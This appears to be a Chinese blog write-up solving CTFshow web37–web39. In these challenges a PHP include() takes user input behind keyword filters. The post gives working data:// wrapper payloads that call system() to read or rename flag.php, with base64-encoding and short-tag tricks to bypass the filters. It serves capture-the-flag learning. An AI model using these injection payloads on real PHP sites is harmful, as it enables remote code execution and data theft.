CTFshow-WEB入门-命令执行(web37-web39)

释放双眼,带上耳机,听听看~!

web37

打开题目,有效代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);

题目提示是:flag in flag.php,这里与之前的题目不同的是,eval函数换成了include文件包含函数,且过滤了flag,这里可以用一种伪协议:

PHP伪协议data://

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

四种方式:

/?c=data://text/plain,<?php system("tac fla*.php")?>

/?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>

/?c=data://text/plain,<?php system("nl fla*")?>

/?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=

web38

过滤内容变成:flag|php|file,

第一种方式我们可以用37题目中的第4种方式,通过base64加密,绕过过滤;

第二种方式是使用短标签:
/?c=data://text/plain,<?= system(“mv fla?.php 1.txt”)?>
我们把php换成=,这个叫短标签,我们可以测试一下短标签有没有开启,然后我们在访问1.txt即可得到flag。


web39

打开题目,有效代码:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);

通过后缀限制了include,但是可以使用data伪协议,在本题中输入原文php代码,因为php代码已经闭合,故拼接的“.php”就以文本形式显示,

/?c=data://text/plain,<?php system("nl fla*")?>

给TA打赏
共{{data.count}}人
人已打赏
CTF笔记

CTFshow-WEB入门-爆破+burpsuite目录爆破(web28)

2022-3-31 21:01:06

CTF笔记

CTF-WEB题目-md5算法的漏洞

2022-4-9 9:45:32

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索